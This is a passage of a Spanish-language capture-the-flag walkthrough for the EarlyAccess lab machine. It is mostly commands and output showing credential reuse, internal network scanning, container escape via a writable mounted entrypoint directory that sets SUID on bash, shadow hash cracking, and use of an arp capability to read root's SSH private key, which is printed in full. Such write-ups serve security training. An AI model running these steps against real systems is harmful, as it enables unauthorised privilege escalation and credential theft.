www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ hostname -I
172.18.0.102
Demtro del directorio personal del usuario www-adm
hay un archivo de configuración de wget
. Se reutiliza la contraseña gameover
www-data@webserver:/home/www-adm$ su www-adm
Password:
www-adm@webserver:~$
Dentro hay credenciales de otro usuario
www-adm@webserver:~$ cat .wgetrc
user=api
password=s3CuR3_API_PW!
Subo un binario estático de nmap
para hacer hostdiscovery
www-adm@webserver:/tmp$ ./nmap 172.18.0.1/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-03-07 21:17 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Host is up (0.00045s latency).
Not shown: 1204 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap scan report for admin-simulation.app_nw (172.18.0.2)
Host is up (0.0013s latency).
All 1207 scanned ports on admin-simulation.app_nw (172.18.0.2) are closed
Nmap scan report for mysql.app_nw (172.18.0.100)
Host is up (0.0012s latency).
Not shown: 1206 closed ports
PORT STATE SERVICE
3306/tcp open mysql
Nmap scan report for api.app_nw (172.18.0.101)
Host is up (0.00041s latency).
All 1207 scanned ports on api.app_nw (172.18.0.101) are closed
Nmap scan report for webserver (172.18.0.102)
Host is up (0.00025s latency).
Not shown: 1205 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap done: 256 IP addresses (5 hosts up) scanned in 15.72 seconds
La 172.18.0.101
tiene el puerto 5000 abierto
www-adm@webserver:/tmp$ ./nmap -p- --open --min-rate 5000 -n -Pn 172.18.0.101 -vvv
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-03-07 21:24 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Initiating Connect Scan at 21:24
Scanning 172.18.0.101 [65535 ports]
Discovered open port 5000/tcp on 172.18.0.101
Completed Connect Scan at 21:24, 2.15s elapsed (65535 total ports)
Nmap scan report for 172.18.0.101
Host is up, received user-set (0.00017s latency).
Scanned at 2023-03-07 21:24:33 UTC for 3s
Not shown: 65534 closed ports
Reason: 65534 conn-refused
PORT STATE SERVICE REASON
5000/tcp open unknown syn-ack
Read data files from: /etc
Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds
Si me autentico puedo ver credenciales en texto claro
www-adm@webserver:/tmp$ curl -s -X GET 'http://api:s3CuR3_API_PW!@172.18.0.101:5000/check_db'
...
"Env": [
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
...
Son válidas por SSH
ssh drew@10.10.11.110
The authenticity of host '10.10.11.110 (10.10.11.110)' can't be established.
ED25519 key fingerprint is SHA256:wcU4npxYBRlmf7P8mERZj6uuJEmycvP4NFGsQVZHvhU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.110' (ED25519) to the list of known hosts.
drew@10.10.11.110's password:
Linux earlyaccess 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sun Sep 5 15:56:50 2021 from 10.10.14.6
drew@earlyaccess:~$ cat user.txt
65b4afefaa08a941b4ca64b1479f1d3b
Escalada
En su directorio .ssh
hay una clave pública de otro usuario
drew@earlyaccess:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMYU1DjEX8HWBPFBxoN+JXFBJUZBPr+IFO5yI25HMkFSlQZLaJajtEHeoBsD1ldSi7Q0qHYvVhYh7euYhr85vqa3cwGqJqJH54Dr5WkNDbqrB5AfgOWkUIomV4QkfZSmKSmI2UolEjVf1pIYYsJY+glqzJLF4hQ8x4d2/vJj3CmWDJeA0AGH0+3sjpmpYyoY+a2sW0JAPCDvovO1aT7FOnYKj3Qyl7NDGwJkOoqzZ66EmU3J/1F0e5XNg74wK8dvpZOJMzHola1CS8NqRhUJ7RO2EEZ0ITzmuLmY9s2N4ZgQPlwUvhV5Aj9hqckV8p7IstrpdGsSbZEv4CR2brsEhwsspAJHH+350e3dCYMR4qDyitsLefk2ezaBRAxrXmZaeNeBCZrZmqQ2+Knak6JBhLge9meo2L2mE5IoPcjgH6JBbYOMD/D3pC+MAfxtNX2HhB6MR4Rdo7UoFUTbp6KIpVqtzEB+dV7WeqMwUrrZjs72qoGvO82OvGqJON5F/OhoHDao+zMJWxNhE4Zp4DBii39qhm2wC6xPvCZT0ZSmdCe3pB82Jbq8yccQD0XGtLgUFv1coaQkl/CU5oBymR99AXB/QnqP8aML7ufjPbzzIEGRfJVE2A3k4CQs4Zo+GAEq7WNy1vOJ5rZBucCUXuc2myZjHXDw77nvettGYr5lcS8w== game-tester@game-server
No existe en esta máquina, pero puede que en un contenedor que esté desplegado
drew@earlyaccess:~/.ssh$ hostname -I
10.10.11.110 172.17.0.1 172.18.0.1 172.19.0.1
Subo un binario estático de nmap
para encontrar una IP con el puerto 22 abierto
drew@earlyaccess:/tmp$ ./nmap --min-rate 5000 -n -Pn --open -p22 172.17.0.1/24 172.18.0.1/24 172.19.0.1/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-03-08 09:01 CET
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Host is up (0.0012s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 172.18.0.1
Host is up (0.00038s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 172.19.0.1
Host is up (0.0011s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 172.19.0.2
Host is up (0.00012s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 768 IP addresses (768 hosts up) scanned in 0.46 seconds
Pruebo a conectarme sin proporcinar contraseña
drew@earlyaccess:/tmp$ ssh game-tester@172.19.0.2
Linux game-server 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
game-tester@game-server:~$
El linpeas
encuentra una ruta de correos en la máquina víctima
╔══════════╣ Environment
╚ Any private information inside environment variables?
HISTFILESIZE=0
MAIL=/var/mail/drew
LANGUAGE=en_US:en
USER=drew
SSH_CLIENT=10.10.16.9 40720 22
XDG_SESSION_TYPE=tty
SHLVL=1
HOME=/home/drew
OLDPWD=/home/drew
drew@earlyaccess:/tmp$ cat /var/mail/drew
To: <drew@earlyaccess.htb>
Subject: Game-server crash fixes
From: game-adm <game-adm@earlyaccess.htb>
Date: Thu May 27 8:10:34 2021
Hi Drew!
Thanks again for taking the time to test this very early version of our newest project!
We have received your feedback and implemented a healthcheck that will automatically restart the game-server if it has crashed (sorry for the current instability of the game! We are working on it...)
If the game hangs now, the server will restart and be available again after about a minute.
If you find any other problems, please don't hesitate to report them!
Thank you for your efforts!
Game-adm (and the entire EarlyAccess Studios team).
arp
tiene una capability asignada
Files with capabilities (limited to 50):
/usr/sbin/arp =ep
/usr/bin/ping = cap_net_raw+ep
Puedo leer archivos privilegiados
drew@earlyaccess:/tmp$ /usr/sbin/arp -v -f "/etc/shadow"
-bash: /usr/sbin/arp: Permission denied
Pero únicamente el grupo adm
lo puede ejecutar
drew@earlyaccess:/tmp$ ls -l /usr/sbin/arp
-rwxr-x--- 1 root adm 67512 Sep 24 2018 /usr/sbin/arp
El contenedor tiene el puerto 9999 abierto
game-tester@game-server:/$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:9999 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 127.0.0.11:38715 *:*
LISTEN 0 128 :::22 :::*
Corresponde a una web
game-tester@game-server:/tmp$ curl localhost:9999
<!DOCTYPE html>
<html lang="en">
<head>
<title>Rock v0.0.1</title>
</head>
<body>
<div class="container">
<div class="panel panel-default">
<div class="panel-heading"><h1>Game version v0.0.1</h1></div>
<div class="panel-body">
<div class="card header">
<div class="card-header">
Test-environment for Game-dev
</div>
<div>
<h2>Choose option</h2>
<div>
<a href="/autoplay"><img src="x" alt="autoplay"</a>
<a href="/rock"><img src="x" alt="rock"></a>
<a href="/paper"><img src="x" alt="paper"></a>
<a href="/scissors"><img src="x" alt="scissors"></a>
</div>
<h3>Result of last game:</h3>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
Me vuelvo a conectar por SSH para crear un Dinamic Port Forwarding y montarme un tunel por SOCKS5 para tener acceso a este servicio
ssh drew@10.10.11.110 -D 1080
Creo un nuevo proxy en FoxyProxy
Al arrancar el contenedor, itera por cada valor en un directorio
game-tester@game-server:/$ cat entrypoint.sh
#!/bin/bash
for ep in /docker-entrypoint.d/*; do
if [ -x "${ep}" ]; then
echo "Running: ${ep}"
"${ep}" &
fi
done
tail -f /dev/null
Unícamente existe un script en bash
game-tester@game-server:/docker-entrypoint.d$ cat node-server.sh
service ssh start
cd /usr/src/app
# Install dependencies
npm install
sudo -u node node server.js
No tengo capacidad de crear archivos
game-tester@game-server:/docker-entrypoint.d$ touch test
touch: cannot touch 'test': Permission denied
En /usr/src/app
está desplegado el Game version
`. Si hay un error, se detiene el programa
app.post('/autoplay', async function autoplay(req,res) {
// Stop execution if not number
if (isNaN(req.body.rounds))
{
res.sendStatus(500);
return;
}
// Stop execution if too many rounds are specified (performance issues may occur otherwise)
if (req.body.rounds > 100)
{
res.sendStatus(500);
return;
}
Fuerzo con BurpSuite
a enviar un valor negativo. Es necesario configurar el proxy por SOCKS5 para que se pueda comunicar
Lo más probable es que todos estos archivos se estén arrastrando con monturas al contenedor, así que desde la máquina víctima, busco de forma recursiva por el script node-server.sh
drew@earlyaccess:/$ find \-name node-server.sh 2>/dev/null
./opt/docker-entrypoint.d/node-server.sh
Ahora sí tengo permisos de escritura
drew@earlyaccess:/$ cd /opt/docker-entrypoint.d/
drew@earlyaccess:/opt/docker-entrypoint.d$ ls
node-server.sh
drew@earlyaccess:/opt/docker-entrypoint.d$ touch test
drew@earlyaccess:/opt/docker-entrypoint.d$ echo $?
0
``
Desde la máquina host, creo un bucle que se encargue de crear un script que se encargue de asignarle el SUID a la bash del contenedor
```null
drew@earlyaccess:/opt/docker-entrypoint.d$ while true; do echo 'chmod u+s /bin/bash' > pwned.sh; chmod +x pwned.sh; sleep 1; done
Al corromper el servicio y volver a entrar al contenedor, lo hago como root
-bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
-bash-4.4$ bash -p
bash-4.4# whoami
root
Crackeo el hash de game-adm
del /etc/shadow
game-adm:$6$zbRQg.JO7dBWcZ$DWEKGCPIilhzWjJ/N0WRp.FNArirqqzEMeHTaA8DAJjPdu8h52v0UZncJD8Df.0ncf6X2mjKYnH19RfGRneWX/:18822:0:99999:7:::
john -w:/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA384"
Use the "--format=HMAC-SHA384" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
gamemaster (game-adm)
Se reutiliza la contraseña pra la máquina host
drew@earlyaccess:~$ su game-adm
Password:
game-adm@earlyaccess:/home/drew$
Ahora ya puedo abusar de la capability de arp
Puedo leer la id_rsa
de root
game-adm@earlyaccess:/home/drew$ /usr/sbin/arp -v -f "/root/.ssh/id_rsa"
>> -----BEGIN OPENSSH PRIVATE KEY-----
-----BEGIN: Unknown host
arp: cannot set entry on line 1 of etherfile /root/.ssh/id_rsa !
>> b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
arp: format error on line 2 of etherfile /root/.ssh/id_rsa !
>> NhAAAAAwEAAQAAAQEArIOXIvZx/5LspJVtY/Y5eT3B0g+hf1t4NEwLljBNrVzW3Y1JFDTL
arp: format error on line 3 of etherfile /root/.ssh/id_rsa !
>> bsqeX+jY1B0lLH361DrhTMra1KSHtTtk+Y6FLqUaYOnlxPlEnaldg/F9c+ch6bzgvEoYai
arp: format error on line 4 of etherfile /root/.ssh/id_rsa !
>> Z/GLfnkdrY9mmU3wrCi4c7OIe1YOwPPtNLYJb76qg7dVrj9beJjT+ZRG7JflgS/aQtFUVe
arp: format error on line 5 of etherfile /root/.ssh/id_rsa !
>> 9NkES/xNk80E4q1Ypbodj8pJcyWek9LXC5/+sdhV4KnUHZjoNZ+BlcpKsYvC0K1we02oC7
arp: format error on line 6 of etherfile /root/.ssh/id_rsa !
>> 3p05jrBZXYwCgzPTy/8DZ9FZr6oSBleQR8lPl6xPo6D32gcHRvVJCSakvVcjJWH2L227+3
arp: format error on line 7 of etherfile /root/.ssh/id_rsa !
>> 6g4RguqXGwAAA8ihamwioWpsIgAAAAdzc2gtcnNhAAABAQCsg5ci9nH/kuyklW1j9jl5Pc
arp: format error on line 8 of etherfile /root/.ssh/id_rsa !
>> HSD6F/W3g0TAuWME2tXNbdjUkUNMtuyp5f6NjUHSUsffrUOuFMytrUpIe1O2T5joUupRpg
arp: format error on line 9 of etherfile /root/.ssh/id_rsa !
>> 6eXE+USdqV2D8X1z5yHpvOC8ShhqJn8Yt+eR2tj2aZTfCsKLhzs4h7Vg7A8+00tglvvqqD
arp: format error on line 10 of etherfile /root/.ssh/id_rsa !
>> t1WuP1t4mNP5lEbsl+WBL9pC0VRV702QRL/E2TzQTirViluh2PyklzJZ6T0tcLn/6x2FXg
arp: format error on line 11 of etherfile /root/.ssh/id_rsa !
>> qdQdmOg1n4GVykqxi8LQrXB7TagLvenTmOsFldjAKDM9PL/wNn0VmvqhIGV5BHyU+XrE+j
arp: format error on line 12 of etherfile /root/.ssh/id_rsa !
>> oPfaBwdG9UkJJqS9VyMlYfYvbbv7fqDhGC6pcbAAAAAwEAAQAAAQACv4Xk1LA0Ng73ADph
arp: format error on line 13 of etherfile /root/.ssh/id_rsa !
>> 4UZBHC6+PemAseBUVPHKTrKuFFCH7vw/CihDd47WUEtD9cLl1ovsXZPBOWoLASP4Sx3sq8
arp: format error on line 14 of etherfile /root/.ssh/id_rsa !
>> yLVa355T/3x1DEgjIvK+WntwLfSlb6KOQCrOJRbnyN4kKaikwI0Y8P0fOrjt3g0WHcyljl
arp: format error on line 15 of etherfile /root/.ssh/id_rsa !
>> DQKuVke8Mtp2y5L+qKOyh48O+nHvc9prBnyqq0wlgnNr/Fm/S4go2O8M2CWp9AeK7YdtlO
arp: format error on line 16 of etherfile /root/.ssh/id_rsa !
>> Y7Ertr9iCY3O+3U9W/4LLxu9JVacdhqGqnig6FMQfY9TmnRLdiDvYbzESPwNRtGtTDJoFf
arp: format error on line 17 of etherfile /root/.ssh/id_rsa !
>> TgUJqvD+21ZT/k5gr2L4r8D/aB4z/ZES4x8F7IjG6+3hAAAAgBzC+fdpajuVkO3jTsleKx
arp: format error on line 18 of etherfile /root/.ssh/id_rsa !
>> npsnDqSPHlufw/U9nQutXTzv9CQClkOcCcJSONo3epcktDbx5LrUxtH72OmuZoLJCHPxtQ
arp: format error on line 19 of etherfile /root/.ssh/id_rsa !
>> +nKJdRSuTfF9vMmMMr44ovq9chO6BfSHnlS6OAoMQZENxClUWjr95AOd7iZJ20MxdNyiZZ
arp: format error on line 20 of etherfile /root/.ssh/id_rsa !
>> /ITMd6O6C/AAAAgQDYH/3pNv83rrECgtMai6pp2yS1bhLReI8SmnpJRSapk4+Ueh4Ww89N
arp: format error on line 21 of etherfile /root/.ssh/id_rsa !
>> I3RMM6hSAKkB0/X99LZNUvnkkvUE9cZK15sA0RTUSm/hzfKx9TthtZMx4fIksnDlvk9Fix
arp: format error on line 22 of etherfile /root/.ssh/id_rsa !
>> wo+Fdbj05u4++fWlQufx9lhfGdKLkSzvo4ycAp+0/aaOm6rwAAAIEAzFfEivv2iVee/lv4
arp: format error on line 23 of etherfile /root/.ssh/id_rsa !
>> 1AnfsSOFhJ2FNd58S6ApYqfoz7+dKDJ74k5HnrkCjD8tcRGld1Ebaq3lBEUn+5eI/km16P
arp: format error on line 24 of etherfile /root/.ssh/id_rsa !
>> ceeCjUt48nzOX23RvBAt9dAhl0UYQr/9Bc7Wuijv/Y9xJdp2s6V5CTaUuxA6283zxy+6+b
arp: format error on line 25 of etherfile /root/.ssh/id_rsa !
>> fD4WoE/0eunE1VUAAAAQcm9vdEBlYXJseWFjY2VzcwECAw==
arp: format error on line 26 of etherfile /root/.ssh/id_rsa !
>> -----END OPENSSH PRIVATE KEY-----
-----END: Unknown host
arp: cannot set entry on line 27 of etherfile /root/.ssh/id_rsa !
La adecuo al formato
cat id_rsa | grep -v "arp" | sed 's/>> //' | sponge id_rsa
chmod 600 !$
Puedo ver la segunda flag
ssh root@10.10.11.110 -i id_rsa
Linux earlyaccess 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 5 15:58:25 2021 from 10.10.14.6
root@earlyaccess:~# cat /root/root.txt
708d2ccb23de54183f762907fffbb6fb